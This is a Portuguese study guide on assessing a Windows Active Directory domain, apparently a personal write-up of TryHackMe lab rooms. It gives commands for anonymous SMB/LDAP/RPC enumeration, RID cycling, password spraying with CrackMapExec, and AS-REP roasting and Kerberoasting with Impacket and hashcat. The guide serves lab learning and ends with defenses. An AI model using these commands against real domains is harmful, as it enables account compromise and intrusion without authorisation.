Active Directory (AD DS) - Guia prático completo

Este guia reúne meus exercícios e aprendizados das rooms Network Enumeration, User/Domain Enumeration, Password Spraying e Authenticated Enumeration do TryHackMe. A sequência é a que eu usaria para começar uma avaliação de um domínio Windows.

Material para laboratórios e ambientes expressamente autorizados. Algumas verificações de autenticação podem bloquear contas ou gerar alertas.

Índice

Este guia está dividido em blocos que acompanham a evolução do acesso: primeiro identifico a rede, depois consulto o domínio, enumero com credenciais e finalmente analiso relações de privilégio. Os comandos usam placeholders para funcionar em outras rooms.

Bloco Etapas
1. Enumeração básica — rede e domínio 1. Preparação · 2. Rede e serviços · 3. Usuários · 4. Grupos e relações
2. Autenticação e Kerberos 5. Políticas e spraying · 6. AS-REP e Kerberoasting
3. Enumeração autenticada — Windows e AD 7. CMD, serviços e tarefas · 8. ActiveDirectory no PowerShell · 9. PowerView
4. Relações e priorização 10. BloodHound · 11. Checklist

Regra prática: uma enumeração pode mostrar o que existe; a análise de ACLs e relacionamentos ajuda a descobrir o que minha identidade pode realmente acessar ou controlar.

BLOCO 1 · Enumeração básica — escopo de rede, DNS, portas, serviços, SMB, LDAP e RPC; sempre verificando se a consulta exige login.

1. Entender a rede e preparar o laboratório

O Active Directory Domain Services (AD DS) centraliza usuários, computadores, grupos, permissões e políticas do domínio. O Domain Controller (DC) guarda o diretório e participa da autenticação.

Conceito Significado
Domínio Conjunto de identidades e recursos administrados centralmente
DC / KDC Controlador do domínio / serviço Kerberos que emite tickets
WRK Workstation, computador membro do domínio
LDAP (389) Consulta objetos e atributos no diretório
Kerberos (88) Autenticação por tickets
SMB (445) Compartilhamentos e serviços Windows
MSRPC (135 e/ou SMB) Consultas remotas de usuários, grupos e serviços
SID / RID Identificador de segurança e sua parte final
OU / GPO Unidade organizacional e política de grupo

Placeholders usados no guia:

  • <SUBNET/CIDR>: rede autorizada, como uma faixa /24.
  • <DC_IP>: IP do controlador de domínio.
  • <WRK_IP>: IP da estação Windows.
  • <DOMAIN>: nome DNS do domínio.
  • <USER> / <PASSWORD>: credenciais de laboratório.
  • <ATTACKER_IP>: IP da AttackBox, quando necessário.

Substitua os placeholders antes de executar os comandos. Os alvos do DC e da WRK são diferentes: consultas LDAP/Kerberos costumam ir ao DC; enumeração local da estação vai à WRK.

Reconhecimento da rede
        ↓
Enumeração sem credenciais (SMB / RPC / LDAP)
        ↓
Usuários, grupos e pertencimento
        ↓
Política de senhas
        ↓
Password spraying controlado / AS-REP Roasting
        ↓
Acesso autenticado à WRK
        ↓
CMD / PowerShell / PowerView
        ↓
BloodHound: relações e caminhos de privilégio

2. Network Enumeration - descobrir hosts e serviços

2.1 Encontrar máquinas ativas

Na AttackBox Linux:

fping -agq <SUBNET/CIDR>
Opção Função
-a Mostra máquinas que responderam
-g Gera os endereços da sub-rede
-q Oculta mensagens extras

Salvando hosts encontrados:

fping -agq <SUBNET/CIDR> 2>/dev/null > hosts.txt
cat hosts.txt

2>/dev/null descarta erros; > cria ou sobrescreve o arquivo. Nem toda máquina ativa responderá a ICMP.

2.2 Identificar portas e serviços

nmap -p 88,135,139,389,445 -sV -sC -iL hosts.txt
  • -p: limita as portas.
  • -sV: detecta serviço/versão.
  • -sC: scripts padrão do Nmap.
  • -iL: lê IPs do arquivo.

Varredura TCP completa:

sudo nmap -sS -p- -T3 -iL hosts.txt -oN full_port_scan.txt

-sS usa TCP SYN; -p- cobre as portas 1–65535; -T3 controla o ritmo; -oN salva a saída.

Dica: portas 88, 389 e 445, combinadas a DNS e outros serviços, ajudam a identificar possíveis controladores de domínio. Uma porta isolada não confirma o papel de DC.

2.3 Enumerar SMB e compartilhamentos

smbclient -L //<DC_IP> -N
smbmap -H <DC_IP>
nmap -p 445 --script smb-enum-shares <DC_IP>
enum4linux -a <DC_IP>
Comando Finalidade
smbclient -L Lista compartilhamentos
-N Tenta conexão sem senha
smbmap Mostra shares e permissões disponíveis
smb-enum-shares Enumeração via script NSE
enum4linux -a Consolida verificações SMB/RPC

Se um compartilhamento permitir acesso anônimo:

smbclient //<DC_IP>/<SHARE> -N

No prompt interativo:

smb: \> ls
smb: \> get arquivo.txt
smb: \> exit

Aprendizado: listar um share não garante autorização para abrir ou baixar todos os arquivos.

2.4 Resolver nomes e identificar o controlador de domínio

Quando Nmap indica LDAP e Kerberos, verifico os registros de serviço DNS:

nslookup -type=SRV _ldap._tcp.dc._msdcs.<DOMAIN> <DC_IP>
nslookup -type=SRV _kerberos._tcp.<DOMAIN> <DC_IP>
  • SRV: registro DNS que informa host e porta de um serviço.
  • _ldap._tcp.dc._msdcs: localiza controladores de domínio LDAP.
  • _kerberos._tcp: identifica serviços Kerberos do domínio.

Para ferramentas baseadas em nomes, como Kerberos e BloodHound, a resolução correta de dc01.exemplo.local é tão importante quanto o IP. Ajusto DNS do laboratório e, se necessário, o arquivo /etc/hosts — apenas para nomes realmente identificados, sem inventar hosts.


3. User Enumeration - descobrir usuários sem login

O objetivo é identificar contas que possam ser analisadas posteriormente, sem começar por tentativas de senha.

3.1 LDAP: verificar acesso anônimo

ldapsearch -x -H ldap://<DC_IP> -s base
  • -x: autenticação LDAP simples (anônima, sem -D).
  • -H: servidor LDAP.
  • -s base: consulta apenas o RootDSE.

O atributo importante é:

defaultNamingContext: DC=exemplo,DC=local

O defaultNamingContext fornece a base do diretório. Conseguir ler RootDSE não significa que todo o AD aceite leitura anônima.

Consultar usuários:

ldapsearch -x -LLL -H ldap://<DC_IP> \
  -b "DC=exemplo,DC=local" \
  "(&(objectCategory=person)(objectClass=user))" sAMAccountName
  • -b: base LDAP obtida na consulta anterior.
  • -LLL: saída resumida.
  • sAMAccountName: login da conta.

Salvar somente os nomes, quando permitido:

ldapsearch -x -LLL -H ldap://<DC_IP> \
  -b "DC=exemplo,DC=local" \
  "(&(objectCategory=person)(objectClass=user))" sAMAccountName |
awk '/^sAMAccountName: / {print $2}' > ldap_users.txt

Ajuste DC=exemplo,DC=local conforme o seu domínio. O awk extrai apenas o valor do atributo.

3.2 Enum4linux-ng

enum4linux-ng -A <DC_IP> -oA results

-A tenta enumerar usuários, grupos, shares, política de senhas, sistema etc. -oA salva relatórios estruturados com o prefixo escolhido. A quantidade de dados depende das permissões disponíveis.

3.3 RPC Null Session

rpcclient -U "" -N <DC_IP>

-U "" define usuário vazio; -N não solicita senha. Isso só funcionará se o serviço permitir a consulta anônima.

Dentro do rpcclient:

rpcclient $> enumdomusers
rpcclient $> enumdomgroups
rpcclient $> querydispinfo
rpcclient $> queryuser 0xa31
rpcclient $> help

O laboratório mostrou contas como Administrator, Guest, asrepuser1 e rduke. O enumdomusers retorna, além do nome, o RID da conta.

Salvar diretamente:

rpcclient -U "" -N <DC_IP> -c enumdomusers |
awk -F'[][]' '/^user:/ {print $2}' > rpc_users.txt

-c executa um comando RPC e encerra; awk -F'[][]' separa a linha pelos colchetes.

3.4 RID Cycling - consultar contas por identificador

Se enumdomusers for limitado, testar uma faixa de RIDs:

for i in $(seq 500 3000); do
  rpcclient -U "" -N <DC_IP> -c "queryuser $i" 2>/dev/null |
    grep -i "User Name"
done

O for percorre os RIDs; grep -i seleciona o campo do nome. A consulta pode ser demorada.

Dica aprendida: a faixa 500–2000 não era suficiente para encontrar todos os objetos da room: rduke tinha RID 0xa31, isto é, 2609 em decimal.

3.5 Consolidar os nomes sem perder o arquivo

cat ldap_users.txt rpc_users.txt | sort -u > users.txt
wc -l users.txt

Para remover duplicatas no próprio arquivo:

sort -u -o users.txt users.txt

Não usar sort -u users.txt > users.txt: o redirecionamento pode zerar o arquivo antes da leitura. -o faz a gravação de saída corretamente.

3.6 Kerbrute: validar nomes via Kerberos

chmod +x kerbrute
./kerbrute userenum --dc <DC_IP> -d <DOMAIN> users.txt

userenum verifica se o KDC reconhece nomes; --dc define o controlador; -d define o domínio.

Uma resposta VALID USERNAME indica um nome reconhecido pelo Kerberos, não que a conta esteja ativa, que a senha seja conhecida ou que o login esteja autorizado. Contas terminadas em $ geralmente são de computadores.


4. Domain Enumeration - grupos e pertencimento

Agora queremos saber qual é o grupo de cada conta, não apenas seu nome.

4.1 Listar e consultar grupos por RPC

rpcclient -U "" -N <DC_IP> -c enumdomgroups
rpcclient -U "" -N <DC_IP> -c "querygroup 0x201"

RIDs conhecidos: 500 (Administrator), 501 (Guest), 512 (Domain Admins), 513 (Domain Users) e 514 (Domain Guests).

4.2 Exemplo real da room: grupo de rduke

Foi executado:

rpcclient -U "" -N <DC_IP> -c "queryusergroups 0xa31"

Resultado:

group rid:[0x201] attr:[0x7]

Conferência com LDAP:

ldapsearch -x -LLL -H ldap://<DC_IP> \
  -b "DC=exemplo,DC=local" \
  "(sAMAccountName=rduke)" memberOf primaryGroupID

Resultado observado:

dn: CN=Raoul Duke,CN=Users,DC=exemplo,DC=local
primaryGroupID: 513

Interpretação:

rduke
  → RID do grupo 0x201
  → 513 em decimal
  → Domain Users

Principal aprendizado: o atributo LDAP memberOf geralmente não inclui o grupo primário. Portanto, memberOf vazio não significa que a conta não pertença a nenhum grupo. Consultar também primaryGroupID. O campo RPC attr:[0x7] representa flags, e não outro grupo.

4.3 Contar usuários e grupos: local x domínio

Essas consultas não são intercambiáveis:

Objetivo Comando no Windows
Usuários locais da WRK (Get-LocalUser).Count
Grupos locais da WRK (Get-LocalGroup).Count
Usuários do AD (Get-ADUser -Filter *).Count
Grupos retornados pelo AD (Get-ADGroup -Filter *).Count
Grupos globais via NET net group /domain
Grupos locais via NET net localgroup

Erro que esclareci na prática: (Get-LocalGroup).Count retornou 25, mas eu precisava do número de usuários locais. O correto era (Get-LocalUser).Count.

Também observei 21 grupos com net group /domain, 54 com Get-ADGroup -Filter * e 58 na coleta BloodHound. Eles podem diferir porque net group lista principalmente grupos globais, enquanto o cmdlet AD retorna múltiplos escopos e o coletor possui regras/escopo próprios. Não usar um número de uma ferramenta para responder à pergunta referente a outra sem verificar seu escopo. Os valores são registros do exercício, não uma contagem universal do domínio.

4.4 Grupos de domínio não são automaticamente administradores locais

Depois de descobrir uma conta, procuro seu papel no domínio:

net user <USER> /domain
net group "Domain Admins" /domain

Grupos personalizados (por exemplo, sysadmin) precisam ser investigados por descrição, membros, GPOs e ACLs. O nome de um grupo não garante privilégios de Domain Admin nem de administrador local. No DC, a distinção entre contas locais e do domínio exige atenção: um controlador de domínio não possui a mesma base de contas locais de uma estação WRK.

BLOCO 2 · Política de autenticação e Kerberos — primeiro observo a política, depois escolho um teste justificado. Não confundo tentativas online com cracking offline.


5. Password Spraying - primeiro a política de senhas

Password spraying: testar uma senha candidata em vários usuários. Diferentemente do brute force concentrado em uma única conta, distribui as tentativas, mas também pode causar bloqueios.

5.1 Consultar a política

rpcclient -U "" -N <DC_IP> -c getdompwinfo

Resultado observado:

min_password_length: 7
password_properties: 0x00000001
DOMAIN_PASSWORD_COMPLEX

Também é possível usar:

crackmapexec smb <DC_IP> --pass-pol

0x00000001 indica a flag de complexidade de senha. Em configurações tradicionais do Windows, isso exige combinações de categorias de caracteres (em geral três das quatro: maiúsculas, minúsculas, números e especiais), além do comprimento mínimo.

Consultar também limiar e janela de bloqueio. A política padrão do domínio pode ser diferente de uma Fine-Grained Password Policy aplicada a contas específicas.

5.2 Spray controlado em laboratório

Com a lista já validada e uma única senha permitida pelo exercício:

crackmapexec smb <WRK_IP> -u users.txt -p '<PASSWORD>'
  • -u: arquivo com usuários.
  • -p: senha candidata.
  • smb: autenticação via SMB.

A room também apresenta o uso de uma lista:

crackmapexec smb <WRK_IP> -u users.txt -p passwords.txt

Cuidado: usando passwords.txt, são feitas múltiplas tentativas por conta. Isso aumenta o risco de bloqueio e não equivale a uma rodada de spray com uma senha.

Mensagens comuns:

Saída Interpretação
[+] Autenticação aceita
[-] Tentativa não aceita
STATUS_LOGON_FAILURE Credencial inválida ou logon recusado
STATUS_ACCOUNT_LOCKED_OUT Conta bloqueada
STATUS_PASSWORD_EXPIRED Senha expirada

Ordem correta: enumerar contas → verificar políticas → validar escopo e limite de tentativas → executar o mínimo necessário → registrar resultados.


6. AS-REP Roasting - testar contas sem pré-autenticação

O AS-REP Roasting aproveita contas com a flag UF_DONT_REQUIRE_PREAUTH: o DC pode devolver dados AS-REP sem exigir que o solicitante conheça a senha. Esses dados podem ser testados offline.

Fases: descobrir contas vulneráveis → coletar AS-REP → testar candidatos localmente.

6.1 Coletar pelo Linux com Impacket

GetNPUsers.py <DOMAIN>/ \
  -dc-ip <DC_IP> \
  -usersfile users.txt \
  -format hashcat \
  -outputfile hashes.txt \
  -no-pass

Em distribuições mais novas o nome pode ser impacket-GetNPUsers.

Opção Significado
-dc-ip Endereço do DC
-usersfile Arquivo de usuários candidatos
-format hashcat Formato dos dados recuperados
-outputfile Arquivo de saída
-no-pass Não pedir senha

Mensagens importantes:

  • doesn't have UF_DONT_REQUIRE_PREAUTH set: pré-autenticação habilitada; a conta não permite essa coleta.
  • KDC_ERR_CLIENT_REVOKED: conta bloqueada, desativada ou revogada, dependendo do contexto.
  • $krb5asrep$23$...: AS-REP do tipo 23, adequado ao Hashcat modo 18200.

No Windows, o comando estudado foi:

Rubeus.exe asreproast

6.2 Testar senhas offline

hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 18200 hashes.txt --show

-m 18200 seleciona Kerberos AS-REP etype 23; --show exibe senhas já recuperadas.

Aprendizado: Hashcat compara senhas candidatas com o material criptográfico, não “descriptografa a senha”. Apesar de aparecer perto da enumeração autenticada na trilha, AS-REP Roasting pode começar sem autenticação prévia.

6.3 Kerberoasting não é AS-REP Roasting

As duas técnicas permitem testes offline, mas o requisito muda:

Técnica Conta-alvo O que solicito ao KDC Hashcat (RC4 / etype 23)
AS-REP Roasting Usuário com pré-autenticação desabilitada AS-REP, sem conhecer sua senha -m 18200
Kerberoasting Conta de serviço associada a SPN TGS, normalmente com login válido no domínio -m 13100

O SPN é o identificador de serviço (por exemplo, HTTP/servidor.dominio). Uma conta com SPN não significa senha fraca, nem garante que um serviço esteja acessível na rede.

GetUserSPNs.py '<DOMAIN>/<USER>:<PASSWORD>' \
  -dc-ip <DC_IP> \
  -request-user <SERVICE_ACCOUNT> \
  -outputfile servico.tgs

hashcat -m 13100 servico.tgs wordlist.txt
hashcat -m 13100 servico.tgs --show
  • /:</code>: credencial **do usuário que solicita** o ticket; não é a senha do serviço-alvo.
  • -request-user: seleciona qual conta associada a SPN terá o TGS solicitado.
  • -outputfile: grava material no formato aceito pelo Hashcat.
  • -m 13100: apenas TGS etype 23 / RC4-HMAC. Outros tipos exigem modos diferentes.
  • \\ ao final da linha: continua o mesmo comando no Bash.

Aprendizado: um usuário comum autenticado pode conseguir um TGS; não é necessário ter a senha do serviço para realizar o Kerberoasting. Status: Exhausted e Recovered: 0 significam apenas que os candidatos daquela execução não recuperaram a senha. Nenhum resultado de cracking deve ser tratado como acesso comprovado sem autenticação posterior.


BLOCO 3 · Enumeração autenticada — acesso como usuário de domínio: contexto da sessão, privilégios do token, serviços, tarefas, registro, AD e ACLs.

7. Authenticated Enumeration - CMD na estação WRK

Com credenciais autorizadas no exercício, acessar a estação:

ssh <USER>@<WRK_IP>

O prompt poderá exibir DOMINIO\usuario@WRK. Isso indica uma sessão usando conta de domínio; WRK\usuario normalmente designa conta local.

7.1 Identidade e sistema

whoami
whoami /all
hostname
systeminfo
set
  • whoami /all: SID, grupos do token e privilégios atuais.
  • hostname: máquina.
  • systeminfo: SO, correções e domínio, sujeito às permissões.
  • set: variáveis de ambiente.

Privilégios de interesse:

Privilégio Por que verificar
SeImpersonatePrivilege Impersonação de tokens sob condições específicas
SeAssignPrimaryTokenPrivilege Atribuir token primário a processos
SeBackupPrivilege Acesso de backup a arquivos protegidos
SeRestorePrivilege Operações de restauração privilegiadas
SeDebugPrivilege Depuração/acesso a processos

A presença de um privilégio não garante que ele possa ser explorado.

7.2 Usuários e grupos com NET

net user
net user /domain
net user rduke /domain
net group /domain
net group "Domain Admins" /domain
net group "Domain Computers" /domain
net localgroup
net localgroup administrators
Comando Onde consulta
net user Contas locais da WRK
net user /domain Contas de usuário do domínio
net user rduke /domain Atributos e grupos de rduke
net group /domain Grupos globais do domínio
net group "Domain Admins" /domain Membros desse grupo
net localgroup Grupos locais da WRK
net localgroup administrators Quem administra a WRK

Importante: um administrador local da WRK não é necessariamente Domain Admin. Um grupo de domínio também pode ter sido adicionado aos administradores locais.

7.3 Sessões, processos, serviços e tarefas

quser
tasklist /v
net session
wmic service get Name,StartName
sc query state= all
sc qc DHCP
schtasks /query /fo LIST /v
  • quser: usuários com sessões interativas (console/RDP).
  • tasklist /v: processos, com detalhes extras.
  • net session: sessões SMB, normalmente exige elevação.
  • StartName / SERVICE_START_NAME: identidade sob a qual o serviço executa.
  • sc qc: configuração de um serviço.
  • schtasks /query: tarefas agendadas.

Serviços do Windows são processos gerenciados pelo Service Control Manager. Podem executar como LocalSystem, LocalService, NetworkService, conta virtual ou usuário do domínio; não dependem de uma sessão interativa. Tarefas agendadas executam segundo seus próprios gatilhos e contexto de segurança. Algumas consultas exigem privilégios elevados. Em PowerShell, para chamar a ferramenta sc, prefira sc.exe, pois sc pode ser alias de Set-Content.

7.4 Registro e aplicações

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

O primeiro caminho guarda configurações de logon; em máquinas mal configuradas pode haver dados de autologon. O segundo ajuda a identificar aplicativos instalados. A leitura de algumas chaves depende de permissão.

7.5 Pastas, permissões e erros que importam

Encontrar uma pasta não equivale a conseguir lê-la, alterá-la ou executar código no contexto de outra conta.

Test-Path -LiteralPath 'C:\Scripts'
Get-ChildItem -LiteralPath 'C:\Scripts' -Force -ErrorAction Continue
icacls.exe 'C:\Scripts'
icacls.exe 'C:\Downloads'

O icacls.exe recebe o alvo conforme sua própria sintaxe; para inspecionar vários diretórios independentes, faço chamadas separadas. -ErrorAction Continue mostra erros em vez de ocultá-los com SilentlyContinue.

Permissão / resultado Interpretação
RX Ler e executar; não equivale a modificar
WD / AD Escrever dados / criar subdiretórios conforme ACE e herança
F Controle total no objeto indicado
Access denied A identidade atual não conseguiu executar aquela operação

Ponto importante: poder criar um arquivo em C:\Downloads não significa poder substituir um arquivo administrativo preexistente. Para identificar um caminho de privilégio, preciso também de um processo, serviço ou tarefa privilegiada que consuma um recurso modificável por mim.


8. PowerShell e módulo ActiveDirectory

Abrir PowerShell a partir do CMD:

powershell

Verificar/importar o módulo:

Get-Module -ListAvailable ActiveDirectory
Import-Module ActiveDirectory

Em estações, o módulo costuma depender de RSAT ou de um pacote já disponibilizado no laboratório.

8.1 Usuários

Get-ADUser -Filter * | Select-Object Name,SamAccountName,Enabled
Get-ADUser -Identity rduke -Properties LastLogonDate,MemberOf,Description,Title
Get-ADUser -Filter "Name -like '*admin*'"
(Get-ADUser -Filter *).Count

-Filter seleciona objetos; -Properties solicita atributos extras; Select-Object limita as colunas; .Count conta resultados.

8.2 Grupos

Get-ADGroup -Filter * | Select-Object Name,GroupScope
Get-ADGroupMember -Identity "Domain Admins"
(Get-ADGroup -Filter *).Count

GroupScope permite diferenciar grupos Global, Universal e DomainLocal.

8.3 Computadores e política

Get-ADComputer -Filter * | Select-Object Name,OperatingSystem
Get-ADDefaultDomainPasswordPolicy

Na política, observar MinPasswordLength, ComplexityEnabled, LockoutThreshold e LockoutDuration. LockoutThreshold = 0 significa que a política padrão não impõe bloqueio por quantidade de falhas, mas não dispensa a avaliação de políticas por usuário.

8.4 Contas/grupos locais em PowerShell

Get-LocalUser
(Get-LocalUser).Count
Get-LocalGroup
(Get-LocalGroup).Count
Get-LocalGroupMember -Group Administrators

Lembrete: não confundir Get-LocalUser com Get-LocalGroup ao responder quantidades pedidas pela room.

8.5 Atributos de contas de serviço e delegação

Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName |
  Select-Object SamAccountName,ServicePrincipalName

Get-ADUser -Identity <SERVICE_ACCOUNT> -Properties TrustedToAuthForDelegation,msDS-AllowedToDelegateTo |
  Select-Object SamAccountName,TrustedToAuthForDelegation,msDS-AllowedToDelegateTo

ServicePrincipalName ajuda a encontrar contas associadas a serviços; msDS-AllowedToDelegateTo mostra destinos configurados para delegação restrita tradicional. Uma flag de delegação isolada não garante que seja possível representar outra conta perante qualquer serviço.

Quando preciso enxergar permissões entre objetos, não basta listar membros de grupos: examino ACLs, GPOs e relações de controle (PowerView e BloodHound).


9. PowerView - mais consultas sobre o domínio

O PowerView integra o conjunto PowerSploit e ajuda a analisar usuários, grupos, SPNs, computadores e direitos sobre objetos do AD. No laboratório o arquivo estava disponível no diretório Recon do PowerSploit.

. .\PowerView.ps1
Get-DomainUser
Get-DomainUser *admin*
Get-DomainGroup "*admin*"
Get-DomainComputer
Get-DomainUser -SPN
Get-DomainObjectAcl -Identity <USER> -ResolveGUIDs

A expressão . .\PowerView.ps1 faz dot-sourcing para carregar funções na sessão atual. O parâmetro -SPN procura contas com Service Principal Names (Kerberoasting); Get-DomainObjectAcl examina permissões no objeto, e -ResolveGUIDs traduz identificadores de direitos quando possível. A versão do PowerView e os direitos de leitura podem limitar a saída.

Diferença rápida: AS-REP Roasting busca contas sem pré-autenticação; Kerberoasting envolve tickets de serviço associados a SPNs. São técnicas distintas.


BLOCO 4 · Relações de privilégio e checklist — em vez de testar novas técnicas aleatoriamente, organizo as permissões obtidas na enumeração e investigo caminhos concretos.

10. BloodHound - mapear relações e privilégios

Depois da enumeração tradicional, falta responder à pergunta principal: minha conta possui uma relação de controle com outro usuário, grupo ou computador? O BloodHound transforma usuários, grupos e máquinas em nós (nodes) e permissões/associações em arestas (edges).

Ferramenta Onde executa Para que uso
SharpHound.exe Windows autenticado no domínio Coleta oficial, incluindo relações de AD e, conforme o método, informações de computadores
bloodhound-ce-python Linux / AttackBox Coleta remota para BloodHound Community Edition
bloodhound-python Linux / AttackBox Coletor de BloodHound Legacy: não presumir compatibilidade com CE
BloodHound CE Interface web Importar dados, investigar ACLs e visualizar caminhos

Compatibilidade importa: o projeto BloodHound.py distingue o coletor Legacy (bloodhound-python) do CE (bloodhound-ce-python). No BloodHound CE, o SharpHound compatível deve ser obtido na própria interface (Settings → Download Collectors). Consulte BloodHound.py e SharpHound.

10.1 Coletar pela AttackBox (Linux)

Primeiro confiro o executável disponível:

command -v bloodhound-ce-python
command -v bloodhound-python

Se o ambiente usa CE, mas o primeiro não existe, a instalação isolada por pipx install bloodhound-ce evita misturar dependências. Em ambientes com coletor já fornecido pela room, uso a versão apropriada sem reinstalar tudo.

bloodhound-ce-python -u <USER> -p '<PASSWORD>' \
  -d <DOMAIN> -ns <DC_IP> \
  -c DCOnly --zip
Parâmetro Função
-u / -p Usuário e senha de domínio conhecidos
-d Nome DNS do domínio
-ns DNS a consultar — no laboratório, normalmente o DC
-c DCOnly Coleta relações consultáveis via DC, como grupos, ACLs e trusts, sem enumerar individualmente outros hosts
--zip Gera pacote para importar na interface

Quando a coleta somente pelo DC não responde uma questão de sessões ou privilégios locais, amplio o escopo conscientemente, por exemplo para -c All. Coletas mais abrangentes podem gerar mais tráfego e alertas.

Exemplo registrado em outra room: o coletor retornou 1 domínio, 2 computadores, 32 usuários, 58 grupos, 5 GPOs, 15 OUs e 0 trusts. Uma tentativa Kerberos falhou por resolução de nomes e fez fallback para NTLM. Essas contagens pertencem àquela room, não ao laboratório atual.

10.2 Coletar pelo Windows (SharpHound)

SharpHound.exe --CollectionMethods DCOnly --Domain <DOMAIN>

Usar o binário compatível com a instância CE e somente quando sua execução for permitida no laboratório. Um coletor Windows não concede privilégios administrativos; regras AppLocker/Defender podem impedir sua execução. DCOnly concentra a coleta nas relações do diretório; All inclui métodos adicionais, sujeitos a permissões e disponibilidade.

10.3 Importar e analisar sem se perder no grafo

Na instância CE do laboratório:

  1. Administration → File Ingest: enviar o ZIP.
  2. Explore: buscar o nó da conta já comprometida.
  3. Node Info: revisar Member Of, Outbound Object Control, direitos de execução e sessões, quando coletadas.
  4. Pathfinding: origem = usuário conhecido; destino = grupo/conta com privilégios relevantes. Confirmar manualmente qualquer aresta promissora.

Arestas de interesse incluem GenericAll, GenericWrite, WriteDacl, AddMember e direitos administrativos locais, quando efetivamente presentes nos dados coletados. Uma relação no gráfico pode depender de privilégios adicionais, contexto, políticas ou mudanças no ambiente: não é prova automática de exploração.

Quando uma consulta não mostra caminho: conferir se o ZIP foi importado, se a coleta incluiu ACLs, se a identidade é a correta e se os nomes de domínio foram resolvidos. A ausência de arestas no gráfico não comprova a inexistência de permissões.

10.4 BloodHound x PowerView x NET

Preciso saber… Uso primeiro
Quem pertence a um grupo? net group ou Get-ADGroupMember
Quais atributos e SPNs uma conta tem? Get-ADUser / Get-DomainUser
Que ACE aparece na DACL de um objeto? Get-DomainObjectAcl ou leitura autorizada do descritor AD
Existe cadeia de permissões entre minha conta e um objetivo? BloodHound e validação das arestas

Usei a enumeração manual para aprender cada comando; uso o BloodHound para organizar e priorizar o que vale investigar, não para substituir a interpretação dos resultados.


11. Checklist geral para os próximos laboratórios

Fase O que verificar Ferramentas
Reconhecimento Hosts ativos, DNS, serviços e portas fping, Nmap
SMB Shares, leitura e permissões smbclient, smbmap
Usuários LDAP, RPC, RIDs, lista deduplicada ldapsearch, rpcclient, Kerbrute
Domínio Grupos, RID, grupo primário, relações RPC, LDAP
Autenticação Complexidade e política de bloqueio rpcclient, CrackMapExec
Kerberos Pré-autenticação, SPNs, AS-REP e TGS GetNPUsers, GetUserSPNs, Rubeus, Hashcat
Windows Identidade, grupos locais e do domínio whoami, NET, Get-LocalUser
Sistema Sessões, serviços, tarefas, Registro e ACLs de arquivos quser, sc.exe, schtasks, reg, icacls
AD autenticado Usuários, grupos, computadores, política ActiveDirectory, PowerView
Relações ACLs, grupos privilegiados, GPOs e caminhos PowerView, BloodHound CE

Referência de operadores e sintaxe

Operador/parâmetro Explicação
\| Passa a saída de um comando para outro
> Grava em arquivo, sobrescrevendo
>> Acrescenta ao final
2>/dev/null Descarta mensagens de erro
-c (rpcclient) Executa uma instrução RPC e sai
-b (ldapsearch) Define o DN-base
-Filter (PowerShell) Filtra os objetos retornados
-Properties Solicita atributos adicionais
.Count Conta elementos retornados

Referências e posts correlatos

O que aprendi

A sequência mais eficiente foi descobrir → enumerar → validar → interpretar → só então testar autenticação. Não basta decorar ferramentas: é fundamental saber qual máquina, qual escopo e qual tipo de objeto cada comando consulta.

Três cuidados fizeram diferença:

  1. Não misturar local e domínio: usuários locais, grupos locais, grupos globais do domínio e objetos do AD são conjuntos distintos.
  2. Não confiar só em memberOf: grupos primários exigem atenção a primaryGroupID.
  3. Não desperdiçar tentativas de senha: primeiro verificar política e lockout; diferenciar password spraying de teste offline de AS-REP.

Defesas relacionadas: manter a pré-autenticação Kerberos habilitada, usar senhas fortes, aplicar privilégios mínimos, restringir enumeração anônima e acompanhar eventos de autenticação e consultas anormais ao AD.